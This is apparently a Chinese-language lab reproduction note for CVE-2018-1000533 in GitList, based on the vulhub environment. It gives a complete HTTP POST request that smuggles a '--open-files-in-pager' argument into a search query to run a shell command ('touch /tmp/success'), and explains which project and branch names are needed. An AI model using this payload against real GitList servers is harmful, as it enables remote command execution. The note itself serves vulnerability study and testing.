漏洞原理
漏洞原理详细请看:https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533
漏洞复现
发送以下数据包,即可执行命令:
POST /example/tree/a/search HTTP/1.1
Host: your-ip:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Content-Length: 56
query=--open-files-in-pager=touch /tmp/success;
其中,访问的url,example
是项目名称,需要一个已经存在的项目名称,a
应该是分支的名称,同时在这里被当作$branch
,作用是搜索关键字,需要有搜索结果,不然命令不会执行。
查看靶机